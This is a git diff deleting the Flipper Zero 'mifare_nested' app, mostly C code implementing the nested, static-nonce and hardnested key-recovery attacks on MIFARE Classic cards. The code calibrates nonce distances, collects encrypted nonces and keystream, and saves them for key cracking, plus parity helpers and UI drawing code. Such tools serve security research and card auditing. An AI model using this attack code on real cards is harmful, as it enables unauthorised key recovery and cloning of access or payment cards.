uint8_t* encrypted_parity); \ No newline at end of file diff --git a/applications/external/mifare_nested/lib/nested/nested.c b/applications/external/mifare_nested/lib/nested/nested.c deleted file mode 100644 index b289b74fb..000000000 --- a/applications/external/mifare_nested/lib/nested/nested.c +++ /dev/null @@ -1,718 +0,0 @@ -#include "nested.h" - -#include -#include "../../lib/parity/parity.h" -#include "../../lib/crypto1/crypto1.h" -#define TAG "Nested" - -uint16_t nfca_get_crc16(uint8_t* buff, uint16_t len) { - uint16_t crc = 0x6363; // NFCA_CRC_INIT - uint8_t byte = 0; - - for(uint8_t i = 0; i < len; i++) { - byte = buff[i]; - byte ^= (uint8_t)(crc & 0xff); - byte ^= byte << 4; - crc = (crc >> 8) ^ (((uint16_t)byte) << 8) ^ (((uint16_t)byte) << 3) ^ - (((uint16_t)byte) >> 4); - } - - return crc; -} - -void nfca_append_crc16(uint8_t* buff, uint16_t len) { - uint16_t crc = nfca_get_crc16(buff, len); - buff[len] = (uint8_t)crc; - buff[len + 1] = (uint8_t)(crc >> 8); -} - -bool mifare_sendcmd_short( - Crypto1* crypto, - FuriHalNfcTxRxContext* tx_rx, - bool crypted, - uint32_t cmd, - uint32_t data) { - uint16_t pos; - uint8_t dcmd[4] = {cmd, data, 0x00, 0x00}; - nfca_append_crc16(dcmd, 2); - - memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data)); - memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity)); - - if(crypted) { - for(pos = 0; pos < 4; pos++) { - uint8_t res = crypto1_byte(crypto, 0x00, 0) ^ dcmd[pos]; - tx_rx->tx_data[pos] = res; - tx_rx->tx_parity[0] |= - (((crypto1_filter(crypto->odd) ^ oddparity8(dcmd[pos])) & 0x01) << (7 - pos)); - } - - tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw; - tx_rx->tx_bits = 4 * 8; - } else { - for(pos = 0; pos < 2; pos++) { - tx_rx->tx_data[pos] = dcmd[pos]; - } - - tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRxNoCrc; - tx_rx->tx_bits = 2 * 8; - } - - if(!furi_hal_nfc_tx_rx(tx_rx, 6)) return false; - - return true; -} - -bool mifare_classic_authex( - Crypto1* crypto, - FuriHalNfcTxRxContext* tx_rx, - uint32_t uid, - uint32_t blockNo, - uint32_t keyType, - uint64_t ui64Key, - bool isNested, - uint32_t* ntptr) { - uint32_t nt, ntpp; // Supplied tag nonce - uint8_t nr[4]; - - // "random" reader nonce: - nfc_util_num2bytes(prng_successor(0, 32), 4, nr); // DWT->CYCCNT - - // Transmit MIFARE_CLASSIC_AUTH - if(!mifare_sendcmd_short(crypto, tx_rx, isNested, 0x60 + (keyType & 0x01), blockNo)) { - return false; - }; - - memset(tx_rx->tx_data, 0, sizeof(tx_rx->tx_data)); - memset(tx_rx->tx_parity, 0, sizeof(tx_rx->tx_parity)); - - nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4); - - if(isNested) crypto1_reset(crypto); // deinit - - crypto1_init(crypto, ui64Key); - - if(isNested) { - nt = crypto1_word(crypto, nt ^ uid, 1) ^ nt; - } else { - crypto1_word(crypto, nt ^ uid, 0); - } - - // save Nt - if(ntptr) *ntptr = nt; - - // Generate (encrypted) nr+parity by loading it into the cipher (Nr) - tx_rx->tx_parity[0] = 0; - for(uint8_t i = 0; i < 4; i++) { - tx_rx->tx_data[i] = crypto1_byte(crypto, nr[i], 0) ^ nr[i]; - tx_rx->tx_parity[0] |= - (((crypto1_filter(crypto->odd) ^ oddparity8(nr[i])) & 0x01) << (7 - i)); - } - - nt = prng_successor(nt, 32); - - for(uint8_t i = 4; i < 8; i++) { - nt = prng_successor(nt, 8); - tx_rx->tx_data[i] = crypto1_byte(crypto, 0x00, 0) ^ (nt & 0xff); - tx_rx->tx_parity[0] |= - (((crypto1_filter(crypto->odd) ^ oddparity8(nt & 0xff)) & 0x01) << (7 - i)); - } - - tx_rx->tx_rx_type = FuriHalNfcTxRxTypeRaw; - tx_rx->tx_bits = 8 * 8; - - if(!furi_hal_nfc_tx_rx(tx_rx, 25)) { - return false; - }; - - uint32_t answer = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4); - - ntpp = prng_successor(nt, 32) ^ crypto1_word(crypto, 0, 0); - - if(answer != ntpp) { - return false; - } - - return true; -} - -static int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, const uint8_t* parity) { - return ((oddparity8((Nt >> 24) & 0xFF) == - ((parity[0]) ^ oddparity8((NtEnc >> 24) & 0xFF) ^ FURI_BIT(Ks1, 16))) && - (oddparity8((Nt >> 16) & 0xFF) == - ((parity[1]) ^ oddparity8((NtEnc >> 16) & 0xFF) ^ FURI_BIT(Ks1, 8))) && - (oddparity8((Nt >> 8) & 0xFF) == - ((parity[2]) ^ oddparity8((NtEnc >> 8) & 0xFF) ^ FURI_BIT(Ks1, 0)))) ? - 1 : - 0; -} - -void nonce_distance(uint32_t* msb, uint32_t* lsb) { - uint16_t x = 1, pos; - uint8_t calc_ok = 0; - - for(uint16_t i = 1; i; ++i) { - pos = (x & 0xff) << 8 | x >> 8; - - if((pos == *msb) & !(calc_ok >> 0 & 0x01)) { - *msb = i; - calc_ok |= 0x01; - } - - if((pos == *lsb) & !(calc_ok >> 1 & 0x01)) { - *lsb = i; - calc_ok |= 0x02; - } - - if(calc_ok == 0x03) { - return; - } - - x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; - } -} - -bool validate_prng_nonce(uint32_t nonce) { - uint32_t msb = nonce >> 16; - uint32_t lsb = nonce & 0xffff; - nonce_distance(&msb, &lsb); - return ((65535 - msb + lsb) % 65535) == 16; -} - -MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo) { - uint32_t nonces[5] = {}; - uint8_t sameNonces = 0; - uint8_t hardNonces = 0; - Crypto1 crypt; - Crypto1* crypto = {&crypt}; - - for(int32_t i = 0; i < 5; i++) { - // Setup nfc poller - nfc_activate(); - furi_hal_nfc_activate_nfca(100, NULL); - - // Start communication - bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60, blockNo); - if(!success) { - continue; - }; - - uint32_t nt = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4); - if(nt == 0) continue; - if(!validate_prng_nonce(nt)) hardNonces++; - nonces[i] = nt; - - nfc_deactivate(); - } - - for(int32_t i = 0; i < 5; i++) { - for(int32_t j = 0; j < 5; j++) { - if(i != j && nonces[j] && nonces[i] == nonces[j]) { - sameNonces++; - } - } - } - - if(!nonces[4]) { - return MifareNestedNonceNoTag; - } - - if(sameNonces > 3) { - return MifareNestedNonceStatic; - } - - if(hardNonces > 3) { - return MifareNestedNonceHard; - } - - return MifareNestedNonceWeak; -} - -struct nonce_info_static nested_static_nonce_attack( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint8_t targetBlockNo, - uint8_t targetKeyType, - uint64_t ui64Key) { - uint32_t cuid = 0; - Crypto1* crypto = malloc(sizeof(Crypto1)); - struct nonce_info_static r; - - r.full = false; - - // Setup nfc poller - nfc_activate(); - if(!furi_hal_nfc_activate_nfca(200, &cuid)) { - free(crypto); - return r; - } - - r.cuid = cuid; - - uint32_t nt1; - uint32_t nt_unused; - - crypto1_reset(crypto); - - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); - - if(targetKeyType == 1 && nt1 == 0x009080A2) { - r.target_nt[0] = prng_successor(nt1, 161); - r.target_nt[1] = prng_successor(nt1, 321); - } else { - r.target_nt[0] = prng_successor(nt1, 160); - r.target_nt[1] = prng_successor(nt1, 320); - } - - bool success = - mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo); - - if(!success) { - free(crypto); - return r; - }; - - uint32_t nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4); - r.target_ks[0] = nt2 ^ r.target_nt[0]; - - nfc_activate(); - - if(!furi_hal_nfc_activate_nfca(200, &cuid)) { - free(crypto); - return r; - } - - crypto1_reset(crypto); - - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); - - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt_unused); - - success = - mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo); - - free(crypto); - - if(!success) { - return r; - }; - - uint32_t nt3 = (uint32_t)nfc_util_bytes2num(tx_rx->rx_data, 4); - - r.target_ks[1] = nt3 ^ r.target_nt[1]; - r.full = true; - - nfc_deactivate(); - - return r; -} - -uint32_t nested_calibrate_distance( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint64_t ui64Key, - uint32_t delay, - bool full) { - uint32_t cuid = 0; - Crypto1* crypto = malloc(sizeof(Crypto1)); - uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0; - uint32_t max_prng_value = full ? 65565 : 1200; - uint32_t rounds = full ? 5 : 17; // full does not require precision - uint32_t collected = 0; - - for(rtr = 0; rtr < rounds; rtr++) { - nfc_activate(); - if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; - - if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1)) { - continue; - } - - furi_delay_us(delay); - - if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2)) { - continue; - } - - // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160 - uint32_t nttmp = prng_successor(nt1, 100); - - for(i = 101; i < max_prng_value; i++) { - nttmp = prng_successor(nttmp, 1); - if(nttmp == nt2) break; - } - - if(i != max_prng_value) { - if(rtr != 0) { - davg += i; - dmin = MIN(dmin, i); - dmax = MAX(dmax, i); - } else { - dmin = dmax = i; - } - - FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i); - collected++; - } else { - unsuccessful_tries++; - if(unsuccessful_tries > 12) { - free(crypto); - FURI_LOG_E( - TAG, - "Tag isn't vulnerable to nested attack (random numbers are not predictable)"); - return 0; - } - } - } - - if(collected > 1) davg = (davg + (collected - 1) / 2) / (collected - 1); - - davg = MIN(MAX(dmin, davg), dmax); - - FURI_LOG_I( - TAG, - "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu collected=%lu", - rtr, - dmin, - dmax, - davg, - collected); - - free(crypto); - - nfc_deactivate(); - - return davg; -} - -struct distance_info nested_calibrate_distance_info( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint64_t ui64Key) { - uint32_t cuid = 0; - Crypto1* crypto = malloc(sizeof(Crypto1)); - uint32_t nt1, nt2, i = 0, davg = 0, dmin = 0, dmax = 0, rtr = 0, unsuccessful_tries = 0; - struct distance_info r; - r.min_prng = 0; - r.max_prng = 0; - r.mid_prng = 0; - - for(rtr = 0; rtr < 10; rtr++) { - nfc_activate(); - if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; - - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); - - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, true, &nt2); - - // NXP Mifare is typical around 840, but for some unlicensed/compatible mifare tag this can be 160 - uint32_t nttmp = prng_successor(nt1, 1); - - for(i = 2; i < 65565; i++) { - nttmp = prng_successor(nttmp, 1); - if(nttmp == nt2) break; - } - - if(i != 65565) { - if(rtr != 0) { - davg += i; - if(dmin == 0) { - dmin = i; - } else { - dmin = MIN(dmin, i); - } - dmax = MAX(dmax, i); - } - - FURI_LOG_D(TAG, "Calibrating: ntdist=%lu", i); - } else { - unsuccessful_tries++; - if(unsuccessful_tries > 12) { - free(crypto); - - FURI_LOG_E( - TAG, - "Tag isn't vulnerable to nested attack (random numbers are not predictable)"); - - return r; - } - } - } - - if(rtr > 1) davg = (davg + (rtr - 1) / 2) / (rtr - 1); - - FURI_LOG_I( - TAG, "Calibration completed: rtr=%lu min=%lu max=%lu avg=%lu", rtr, dmin, dmax, davg); - - r.min_prng = dmin; - r.max_prng = dmax; - r.mid_prng = davg; - - free(crypto); - - nfc_deactivate(); - - return r; -} - -struct nonce_info nested_attack( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint8_t targetBlockNo, - uint8_t targetKeyType, - uint64_t ui64Key, - uint32_t distance, - uint32_t delay) { - uint32_t cuid = 0; - Crypto1* crypto = malloc(sizeof(Crypto1)); - uint8_t par_array[4] = {0x00}; - uint32_t nt1, nt2, ks1, i = 0, j = 0; - struct nonce_info r; - uint32_t dmin = distance - 2; - uint32_t dmax = distance + 2; - - r.full = false; - - for(i = 0; i < 2; i++) { // look for exactly two different nonces - r.target_nt[i] = 0; - - while(r.target_nt[i] == 0) { // continue until we have an unambiguous nonce - nfc_activate(); - if(!furi_hal_nfc_activate_nfca(200, &cuid)) { - free(crypto); - return r; - } - - r.cuid = cuid; - - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt1); - - furi_delay_us(delay); - - bool success = mifare_sendcmd_short( - crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo); - - if(!success) continue; - - nt2 = nfc_util_bytes2num(tx_rx->rx_data, 4); - - // Parity validity check - for(j = 0; j < 4; j++) { - par_array[j] = - (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01)); - } - - uint32_t ncount = 0; - uint32_t nttest = prng_successor(nt1, dmin - 1); - - for(j = dmin; j < dmax + 1; j++) { - nttest = prng_successor(nttest, 1); - ks1 = nt2 ^ nttest; - - if(valid_nonce(nttest, nt2, ks1, par_array)) { - if(ncount > 0) { // we are only interested in disambiguous nonces, try again - FURI_LOG_D(TAG, "Nonce#%lu: dismissed (ambiguous), ntdist=%lu", i + 1, j); - r.target_nt[i] = 0; - break; - } - - if(delay) { - // will predict later - r.target_nt[i] = nt1; - r.target_ks[i] = nt2; - } else { - r.target_nt[i] = nttest; - r.target_ks[i] = ks1; - } - - memcpy(&r.parity[i], par_array, 4); - ncount++; - - if(i == 1 && - (r.target_nt[0] == r.target_nt[1] || - r.target_ks[0] == r.target_ks[1])) { // we need two different nonces - r.target_nt[i] = 0; - FURI_LOG_D(TAG, "Nonce#2: dismissed (= nonce#1), ntdist=%lu", j); - break; - } - - FURI_LOG_D(TAG, "Nonce#%lu: valid, ntdist=%lu", i + 1, j); - } - } - - if(r.target_nt[i] == 0 && j == dmax + 1) { - FURI_LOG_D(TAG, "Nonce#%lu: dismissed (all invalid)", i + 1); - } - } - } - - if(r.target_nt[0] && r.target_nt[1]) { - r.full = true; - } - - free(crypto); - - nfc_deactivate(); - - return r; -} - -struct nonce_info_hard nested_hard_nonce_attack( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint8_t targetBlockNo, - uint8_t targetKeyType, - uint64_t ui64Key, - uint32_t* found, - uint32_t* first_byte_sum, - Stream* file_stream) { - uint32_t cuid = 0; - uint8_t same = 0; - uint64_t previous = 0; - Crypto1* crypto = malloc(sizeof(Crypto1)); - uint8_t par_array[4] = {0x00}; - struct nonce_info_hard r; - r.full = false; - r.static_encrypted = false; - - for(uint32_t i = 0; i < 8; i++) { - nfc_activate(); - if(!furi_hal_nfc_activate_nfca(200, &cuid)) { - free(crypto); - return r; - } - - r.cuid = cuid; - - if(!mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, NULL)) - continue; - - if(!mifare_sendcmd_short(crypto, tx_rx, true, 0x60 + (targetKeyType & 0x01), targetBlockNo)) - continue; - - uint64_t nt = nfc_util_bytes2num(tx_rx->rx_data, 4); - - for(uint32_t j = 0; j < 4; j++) { - par_array[j] = - (oddparity8(tx_rx->rx_data[j]) != ((tx_rx->rx_parity[0] >> (7 - j)) & 0x01)); - } - - uint8_t pbits = 0; - for(uint8_t j = 0; j < 4; j++) { - uint8_t p = oddparity8(tx_rx->rx_data[j]); - if(par_array[j]) { - p ^= 1; - } - pbits <<= 1; - pbits |= p; - } - - // update unique nonces - if(!found[tx_rx->rx_data[0]]) { - *first_byte_sum += evenparity32(pbits & 0x08); - found[tx_rx->rx_data[0]]++; - } - - if(nt == previous) { - same++; - } - - previous = nt; - - FuriString* row = furi_string_alloc_printf("%llu|%u\n", nt, pbits); - stream_write_string(file_stream, row); - - FURI_LOG_D(TAG, "Accured %lu/8 nonces", i + 1); - furi_string_free(row); - } - - if(same > 4) { - r.static_encrypted = true; - } - - r.full = true; - - free(crypto); - - nfc_deactivate(); - - return r; -} - -NestedCheckKeyResult nested_check_key( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint64_t ui64Key) { - uint32_t cuid = 0; - uint32_t nt; - - nfc_activate(); - if(!furi_hal_nfc_activate_nfca(200, &cuid)) return NestedCheckKeyNoTag; - - FURI_LOG_D( - TAG, "Checking %c key %012llX for block %u", !keyType ? 'A' : 'B', ui64Key, blockNo); - - Crypto1* crypto = malloc(sizeof(Crypto1)); - - bool success = - mifare_classic_authex(crypto, tx_rx, cuid, blockNo, keyType, ui64Key, false, &nt); - - free(crypto); - - nfc_deactivate(); - - return success ? NestedCheckKeyValid : NestedCheckKeyInvalid; -} - -bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType) { - uint32_t cuid = 0; - - nfc_activate(); - if(!furi_hal_nfc_activate_nfca(200, &cuid)) return false; - - Crypto1* crypto = malloc(sizeof(Crypto1)); - - bool success = mifare_sendcmd_short(crypto, tx_rx, false, 0x60 + (keyType & 0x01), blockNo); - - free(crypto); - - nfc_deactivate(); - - return success; -} - -void nested_get_data(FuriHalNfcDevData* dev_data) { - nfc_activate(); - furi_hal_nfc_detect(dev_data, 400); - nfc_deactivate(); -} - -void nfc_activate() { - nfc_deactivate(); - - // Setup nfc poller - furi_hal_nfc_exit_sleep(); - furi_hal_nfc_ll_txrx_on(); - furi_hal_nfc_ll_poll(); - if(furi_hal_nfc_ll_set_mode( - FuriHalNfcModePollNfca, FuriHalNfcBitrate106, FuriHalNfcBitrate106) != - FuriHalNfcReturnOk) - return; - - furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_NFCA_POLLER); - furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_NFCA_POLLER); - furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc); - furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_NFCA); -} - -void nfc_deactivate() { - furi_hal_nfc_ll_txrx_off(); - furi_hal_nfc_start_sleep(); - furi_hal_nfc_sleep(); -} diff --git a/applications/external/mifare_nested/lib/nested/nested.h b/applications/external/mifare_nested/lib/nested/nested.h deleted file mode 100644 index a2b902446..000000000 --- a/applications/external/mifare_nested/lib/nested/nested.h +++ /dev/null @@ -1,118 +0,0 @@ -#pragma once - -#include -#include -#include - -#include -#include -#include - -typedef enum { - MifareNestedNonceNoTag, - MifareNestedNonceWeak, - MifareNestedNonceStatic, - MifareNestedNonceHard, -} MifareNestedNonceType; - -MifareNestedNonceType nested_check_nonce_type(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo); - -struct nonce_info_static { - uint32_t cuid; - uint32_t target_nt[2]; - uint32_t target_ks[2]; - bool full; -}; - -struct nonce_info_hard { - uint32_t cuid; - bool static_encrypted; - bool full; -}; - -struct nonce_info { - uint32_t cuid; - uint32_t target_nt[2]; - uint32_t target_ks[2]; - uint8_t parity[2][4]; - bool full; -}; - -struct distance_info { - uint32_t min_prng; - uint32_t max_prng; - uint32_t mid_prng; -}; - -struct nonce_info_static nested_static_nonce_attack( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint8_t targetBlockNo, - uint8_t targetKeyType, - uint64_t ui64Key); - -struct nonce_info nested_attack( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint8_t targetBlockNo, - uint8_t targetKeyType, - uint64_t ui64Key, - uint32_t distance, - uint32_t delay); - -struct nonce_info_hard nested_hard_nonce_attack( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint8_t targetBlockNo, - uint8_t targetKeyType, - uint64_t ui64Key, - uint32_t* found, - uint32_t* first_byte_sum, - Stream* file_stream); - -uint32_t nested_calibrate_distance( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint64_t ui64Key, - uint32_t delay, - bool full); - -struct distance_info nested_calibrate_distance_info( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint64_t ui64Key); - -typedef enum { - NestedCheckKeyNoTag, - NestedCheckKeyValid, - NestedCheckKeyInvalid, -} NestedCheckKeyResult; - -NestedCheckKeyResult nested_check_key( - FuriHalNfcTxRxContext* tx_rx, - uint8_t blockNo, - uint8_t keyType, - uint64_t ui64Key); - -bool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType); - -void nested_get_data(); - -bool mifare_classic_authex( - Crypto1* crypto, - FuriHalNfcTxRxContext* tx_rx, - uint32_t uid, - uint32_t blockNo, - uint32_t keyType, - uint64_t ui64Key, - bool isNested, - uint32_t* ntptr); - -void nfc_activate(); - -void nfc_deactivate(); diff --git a/applications/external/mifare_nested/lib/parity/parity.c b/applications/external/mifare_nested/lib/parity/parity.c deleted file mode 100644 index c8e2f807e..000000000 --- a/applications/external/mifare_nested/lib/parity/parity.c +++ /dev/null @@ -1,71 +0,0 @@ -#include "parity.h" - -uint32_t __paritysi2(uint32_t a) { - uint32_t x = (uint32_t)a; - x ^= x >> 16; - x ^= x >> 8; - x ^= x >> 4; - return (0x6996 >> (x & 0xF)) & 1; -} - -static const uint8_t g_odd_byte_parity[256] = { - 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, - 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, - 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, - 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, - 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, - 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, - 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, - 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, - 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1}; - -#define ODD_PARITY8(x) \ - { g_odd_byte_parity[x] } -#define EVEN_PARITY8(x) \ - { !g_odd_byte_parity[x] } - -uint8_t oddparity8(const uint8_t x) { - return g_odd_byte_parity[x]; -} - -uint8_t evenparity8(const uint8_t x) { - return !g_odd_byte_parity[x]; -} - -uint8_t evenparity16(uint16_t x) { -#if !defined __GNUC__ - x ^= x >> 8; - return EVEN_PARITY8(x); -#else - return (__builtin_parity(x) & 0xFF); -#endif -} - -uint8_t oddparity16(uint16_t x) { -#if !defined __GNUC__ - x ^= x >> 8; - return ODD_PARITY8(x); -#else - return !__builtin_parity(x); -#endif -} - -uint8_t evenparity32(uint32_t x) { -#if !defined __GNUC__ - x ^= x >> 16; - x ^= x >> 8; - return EVEN_PARITY8(x); -#else - return (__builtin_parity(x) & 0xFF); -#endif -} - -uint8_t oddparity32(uint32_t x) { -#if !defined __GNUC__ - x ^= x >> 16; - x ^= x >> 8; - return ODD_PARITY8(x); -#else - return !__builtin_parity(x); -#endif -} \ No newline at end of file diff --git a/applications/external/mifare_nested/lib/parity/parity.h b/applications/external/mifare_nested/lib/parity/parity.h deleted file mode 100644 index 16648afa1..000000000 --- a/applications/external/mifare_nested/lib/parity/parity.h +++ /dev/null @@ -1,10 +0,0 @@ -#include "stdint.h" - -uint8_t oddparity8(const uint8_t x); -uint8_t evenparity8(const uint8_t x); - -uint8_t evenparity16(uint16_t x); -uint8_t oddparity16(uint16_t x); - -uint8_t evenparity32(uint32_t x); -uint8_t oddparity32(uint32_t x); \ No newline at end of file diff --git a/applications/external/mifare_nested/mifare_nested.c b/applications/external/mifare_nested/mifare_nested.c deleted file mode 100644 index bb6947a91..000000000 --- a/applications/external/mifare_nested/mifare_nested.c +++ /dev/null @@ -1,409 +0,0 @@ -#include "mifare_nested_i.h" -#include - -bool mifare_nested_custom_event_callback(void* context, uint32_t event) { - furi_assert(context); - MifareNested* mifare_nested = context; - return scene_manager_handle_custom_event(mifare_nested->scene_manager, event); -} - -bool mifare_nested_back_event_callback(void* context) { - furi_assert(context); - MifareNested* mifare_nested = context; - return scene_manager_handle_back_event(mifare_nested->scene_manager); -} - -void mifare_nested_tick_event_callback(void* context) { - furi_assert(context); - MifareNested* mifare_nested = context; - scene_manager_handle_tick_event(mifare_nested->scene_manager); -} - -void mifare_nested_show_loading_popup(void* context, bool show) { - MifareNested* mifare_nested = context; - TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME); - - if(show) { - // Raise timer priority so that animations can play - vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1); - view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewLoading); - } else { - // Restore default timer priority - vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY); - } -} - -NestedState* collection_alloc() { - NestedState* nested = malloc(sizeof(NestedState)); - nested->view = view_alloc(); - view_allocate_model(nested->view, ViewModelTypeLocking, sizeof(NestedAttackViewModel)); - with_view_model( - nested->view, - NestedAttackViewModel * model, - { - model->header = furi_string_alloc(); - furi_string_set(model->header, "Collecting nonces"); - model->keys_count = 0; - model->hardnested_states = 0; - model->lost_tag = false; - model->calibrating = false; - model->need_prediction = false; - model->hardnested = false; - }, - false); - - return nested; -} - -CheckKeysState* check_keys_alloc() { - CheckKeysState* state = malloc(sizeof(CheckKeysState)); - state->view = view_alloc(); - view_allocate_model(state->view, ViewModelTypeLocking, sizeof(CheckKeysViewModel)); - with_view_model( - state->view, - CheckKeysViewModel * model, - { - model->header = furi_string_alloc(); - furi_string_set(model->header, "Checking keys"); - model->lost_tag = false; - }, - false); - - return state; -} - -static void nested_draw_callback(Canvas* canvas, void* model) { - NestedAttackViewModel* m = model; - - if(m->lost_tag) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Lost the tag!"); - canvas_set_font(canvas, FontSecondary); - elements_multiline_text_aligned( - canvas, 64, 23, AlignCenter, AlignTop, "Make sure the tag is\npositioned correctly."); - } else if(m->calibrating) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, "Calibrating..."); - canvas_set_font(canvas, FontSecondary); - if(!m->need_prediction) { - elements_multiline_text_aligned( - canvas, 64, 23, AlignCenter, AlignTop, "Don't touch or move\nFlipper/Tag!"); - } else { - elements_multiline_text_aligned( - canvas, 64, 18, AlignCenter, AlignTop, "Don't touch or move tag!"); - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_aligned( - canvas, 64, 30, AlignCenter, AlignTop, "Calibration will take\nmore time"); - } - } else if(m->hardnested) { - char draw_str[32] = {}; - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); - canvas_set_font(canvas, FontSecondary); - - float progress = - m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count); - - if(progress > 1.0) { - progress = 1.0; - } - - elements_progress_bar(canvas, 5, 15, 120, progress); - canvas_set_font(canvas, FontSecondary); - snprintf( - draw_str, - sizeof(draw_str), - "Nonces collected: %lu/%lu", - m->nonces_collected, - m->keys_count); - canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str); - snprintf(draw_str, sizeof(draw_str), "States found: %lu/256", m->hardnested_states); - canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_str); - } else { - char draw_str[32] = {}; - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned( - canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header)); - canvas_set_font(canvas, FontSecondary); - - float progress = - m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count); - - if(progress > 1.0) { - progress = 1.0; - } - - elements_progress_bar(canvas, 5, 15, 120, progress); - canvas_set_font(canvas, FontSecondary); - snprintf( - draw_str, - sizeof(draw_str), - "Nonces collected: %lu/%lu", - m->nonces_collected, - m->keys_count); - canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, 